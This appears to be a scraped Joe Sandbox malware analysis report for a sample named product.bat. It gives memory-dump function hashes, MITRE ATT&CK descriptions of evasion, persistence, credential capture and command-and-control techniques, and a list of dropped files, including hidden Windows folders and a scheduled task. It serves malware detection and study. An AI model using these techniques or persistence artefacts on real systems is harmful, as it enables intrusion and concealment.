Associated: 00000012.00000002.3447777990.00000262F1CC0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447881409.00000262F1CC2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447984338.00000262F1CC9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_262f1ca0000_dwm.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID:
API String ID: 756756679-0
Opcode ID: 4c9b2301a415d0f0b496c555fe445cf1af4f6cd5e16f1feadd66e218500f58a3
Instruction ID: f6524ad8902acd3490f1351edc8efdb5a53497a385106e658845b88c2dda419f
Opcode Fuzzy Hash: 4c9b2301a415d0f0b496c555fe445cf1af4f6cd5e16f1feadd66e218500f58a3
Instruction Fuzzy Hash: 2D11AD31A01F90C1EB16DBA6A80C29967B0F788FC0F984034DE4E93BA5EF39C4468341

Function 00000262F1D01D30 Relevance: 5.0, APIs: 4, Instructions: 46memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000262F1D01D69
HeapAlloc.KERNEL32 ref: 00000262F1D01D77
GetProcessHeap.KERNEL32 ref: 00000262F1D01D9C
HeapFree.KERNEL32 ref: 00000262F1D01DAA

Memory Dump Source

Source File: 00000012.00000002.3448257654.00000262F1D01000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000262F1D00000, based on PE: true

Associated: 00000012.00000002.3448137506.00000262F1D00000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448432455.00000262F1D15000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448513222.00000262F1D20000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448655925.00000262F1D22000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448714516.00000262F1D29000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_262f1d00000_dwm.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID:
API String ID: 756756679-0
Opcode ID: 4c9b2301a415d0f0b496c555fe445cf1af4f6cd5e16f1feadd66e218500f58a3
Instruction ID: 112342d7598463ab21077b981b0585c62388313cd7fa2dca443d2c3cd0195907
Opcode Fuzzy Hash: 4c9b2301a415d0f0b496c555fe445cf1af4f6cd5e16f1feadd66e218500f58a3
Instruction Fuzzy Hash: C0113931A01F94C5EA15DB6AA80C25977B4F789FD0F984128DE4E53B69EE39D4868700

Function 00000262F1CA1264 Relevance: 5.0, APIs: 4, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000262F1CA126A
HeapAlloc.KERNEL32 ref: 00000262F1CA1279
GetProcessHeap.KERNEL32 ref: 00000262F1CA1293
HeapAlloc.KERNEL32 ref: 00000262F1CA12A4

Memory Dump Source

Source File: 00000012.00000002.3447566780.00000262F1CA1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000262F1CA0000, based on PE: true

Associated: 00000012.00000002.3447461846.00000262F1CA0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447674523.00000262F1CB5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447777990.00000262F1CC0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447881409.00000262F1CC2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447984338.00000262F1CC9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_262f1ca0000_dwm.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: 5766f835ea2a456c44b6013e96a3e1eda123ada506de8733bfa06fac8bd4a176
Instruction ID: 077aeb5079f5f357adfd9e4c988a9f976cf0db9caba8f44bc9b2e4d6c9b544b2
Opcode Fuzzy Hash: 5766f835ea2a456c44b6013e96a3e1eda123ada506de8733bfa06fac8bd4a176
Instruction Fuzzy Hash: DCE06D31611A14DAE714CFA2D80C38936F1FB88F06F84C024C90947791EF7E849D8B41

Function 00000262F1D01264 Relevance: 5.0, APIs: 4, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000262F1D0126A
HeapAlloc.KERNEL32 ref: 00000262F1D01279
GetProcessHeap.KERNEL32 ref: 00000262F1D01293
HeapAlloc.KERNEL32 ref: 00000262F1D012A4

Memory Dump Source

Source File: 00000012.00000002.3448257654.00000262F1D01000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000262F1D00000, based on PE: true

Associated: 00000012.00000002.3448137506.00000262F1D00000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448432455.00000262F1D15000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448513222.00000262F1D20000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448655925.00000262F1D22000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448714516.00000262F1D29000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_262f1d00000_dwm.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: 5766f835ea2a456c44b6013e96a3e1eda123ada506de8733bfa06fac8bd4a176
Instruction ID: 10b629e55c2da844159781a16f778e7fc57757d9263313839a744a0187929370
Opcode Fuzzy Hash: 5766f835ea2a456c44b6013e96a3e1eda123ada506de8733bfa06fac8bd4a176
Instruction Fuzzy Hash: 03E03231B01A18DAF7298B62E80C34936F1EB8EB05F888124C90907760EF7E84DD8B80

Function 00000262F1CA1000 Relevance: 5.0, APIs: 4, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000262F1CA1006
HeapAlloc.KERNEL32 ref: 00000262F1CA1015
GetProcessHeap.KERNEL32 ref: 00000262F1CA1028
HeapAlloc.KERNEL32 ref: 00000262F1CA1037

Memory Dump Source

Source File: 00000012.00000002.3447566780.00000262F1CA1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000262F1CA0000, based on PE: true

Associated: 00000012.00000002.3447461846.00000262F1CA0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447674523.00000262F1CB5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447777990.00000262F1CC0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447881409.00000262F1CC2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447984338.00000262F1CC9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_262f1ca0000_dwm.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: edf732acfe8a8b1979705777c81849703b5d4d240706bab5b6d58847dad35a27
Instruction ID: aabc41e2585881794810aa1aff99d18bdc4fda7c78ffdf5e28400d38eda332ed
Opcode Fuzzy Hash: edf732acfe8a8b1979705777c81849703b5d4d240706bab5b6d58847dad35a27
Instruction Fuzzy Hash: C2E0ED71621914DAE719DBA2D80C29976B1FB88B16F848034C90947751EE39849D9A11

Function 00000262F1D01000 Relevance: 5.0, APIs: 4, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000262F1D01006
HeapAlloc.KERNEL32 ref: 00000262F1D01015
GetProcessHeap.KERNEL32 ref: 00000262F1D01028
HeapAlloc.KERNEL32 ref: 00000262F1D01037

Memory Dump Source

Source File: 00000012.00000002.3448257654.00000262F1D01000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000262F1D00000, based on PE: true

Associated: 00000012.00000002.3448137506.00000262F1D00000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448432455.00000262F1D15000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448513222.00000262F1D20000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448655925.00000262F1D22000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448714516.00000262F1D29000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_262f1d00000_dwm.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: edf732acfe8a8b1979705777c81849703b5d4d240706bab5b6d58847dad35a27
Instruction ID: 553541f89a224aee690aa4df97bcb4b95e3b9889be9fe25ac11f6ed954b914f4
Opcode Fuzzy Hash: edf732acfe8a8b1979705777c81849703b5d4d240706bab5b6d58847dad35a27
Instruction Fuzzy Hash: C4E0E571711A18EAF72A9B62E80C25976B1FB8DB15F888164C90907B20EE3E84DD9B10

Function 00000262F1D31000 Relevance: 5.0, APIs: 4, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000262F1D31006
HeapAlloc.KERNEL32 ref: 00000262F1D31015
GetProcessHeap.KERNEL32 ref: 00000262F1D31028
HeapAlloc.KERNEL32 ref: 00000262F1D31037

Memory Dump Source

Source File: 00000012.00000002.3448872342.00000262F1D31000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000262F1D30000, based on PE: true

Associated: 00000012.00000002.3448816247.00000262F1D30000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448971011.00000262F1D45000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3449077595.00000262F1D50000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3449181058.00000262F1D52000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3449289748.00000262F1D59000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_262f1d30000_dwm.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: edf732acfe8a8b1979705777c81849703b5d4d240706bab5b6d58847dad35a27
Instruction ID: 6f7cc1e419162efb08ca9a792295804387426de7163e8cc713263ddf515316d3
Opcode Fuzzy Hash: edf732acfe8a8b1979705777c81849703b5d4d240706bab5b6d58847dad35a27
Instruction Fuzzy Hash: DCE0E571611A18EAE7289B62D90D25976B1FB88B55F888164C94907B20EE3A849D9B20

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits are programs that hide the existence of malware by intercepting/hooking and modifying operating system API calls that supply system information.
Tactics:	Defense Evasion
Data Sources:	Drive: Drive Modification, File: File Modification, Firmware: Firmware Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may hook into Windows application programming interface (API) functions to collect user credentials. Malicious hooking mechanisms may capture API calls that include parameters that reveal user authentication credentials.Unlike Keylogging , this technique focuses specifically on API functions that include parameters that reveal user credentials. Hooking involves redirecting calls to these functions and can be implemented via:
Tactics:	Collection, Credential Access
Data Sources:	Process: OS API Execution, Process: Process Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report product.bat

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\FB0D848F74F70BB2EAA93746D24D9749

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1t1p1fl2.2no.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4aekovv1.sfn.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_b3rdmcc3.ib5.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ftpz1pup.jm4.psm1

C:\Windows\$nya-onimai2\$nya-Onimai.bat (copy)

C:\Windows\$nya-onimai2\IhrFKM.exe

C:\Windows\$rbx-onimai2\$rbx-CO2.bat

C:\Windows\System32\Tasks\$nya-mW41WeM4

C:\Windows\System32\Tasks\Microsoft\Windows\SoftwareProtectionPlatform\SvcRestartTask

C:\Windows\System32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157

C:\Windows\System32\winevt\Logs\Application.evtx

C:\Windows\System32\winevt\Logs\Microsoft-Client-Licensing-Platform%4Admin.evtx

C:\Windows\System32\winevt\Logs\Microsoft-Windows-AppModel-Runtime%4Admin.evtx

C:\Windows\System32\winevt\Logs\Microsoft-Windows-AppXDeployment%4Operational.evtx

Windows Analysis Report
product.bat

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre